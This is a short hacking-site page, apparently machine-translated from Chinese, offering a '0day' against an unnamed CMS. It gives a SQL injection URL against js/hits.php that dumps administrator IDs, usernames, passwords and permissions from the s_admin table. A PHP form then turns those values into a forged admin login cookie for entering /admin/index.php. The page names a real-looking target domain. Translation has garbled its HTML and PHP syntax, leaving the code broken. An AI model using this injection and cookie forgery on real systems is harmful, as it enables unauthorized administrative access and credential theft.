One CMS 0day search

<Style type = "text/css">
<! --
. STYLE1 {font-size: 13px; font-family: Arial, Helvetica, sans-serif}
-->
From: www.hackqing.cn
Author: qing
</Style>
<Span class = "STYLE1"> example: access the following address in a new window, replace xxx with the target URL, and enter the split data in the following boxes! <Br>
Http: // <font color = red> 36dk.com </font>/js/hits. php? Type = 2 & id = 1 and 9 = 0 union select concat (S_id, 0x3a, S_AdminUserName, 0x3a, S_AdminPassWord, 0x3a, S_Permission) from s_admin limit 0, 1 --
<Form action = "" method = "post" enctype = "multipart/form-data" class = "STYLE1">
<Br>
S_AdminID: <input type = "text" name = "a"/>
S_AdminUserName: <input type = "text" name = "B"/>
S_AdminPassWord: <input type = "text" name = "c"/>
S_Permission: <input type = "text" name = "d"/>
<Br>
<Input type = "submit" name = "submit" value = "Submit"/>
</Form> </span>
<Span class = "STYLE1">
<? Php
If (isset ($ _ POST [a])
{
Echo "cookie calculated as: <br> ";
Echo "S_AdminID = ". $ _ POST [a]. ";". "S_AdminUserName = ". $ _ POST [B]. ";". "S_AdminPassWord = ". md5 ($ _ POST [c]). ";". "S_Permission = ". $ _ POST [d]. ";". "S_Login = ". md5 ($ _ POST [a]. $ _ POST [B]. md5 ($ _ POST [c]). $ _ POST [d]). ";";
Echo "paste it to the Veteran's browser and access/admin/index. php! <Br> ";
}
?>
</Span>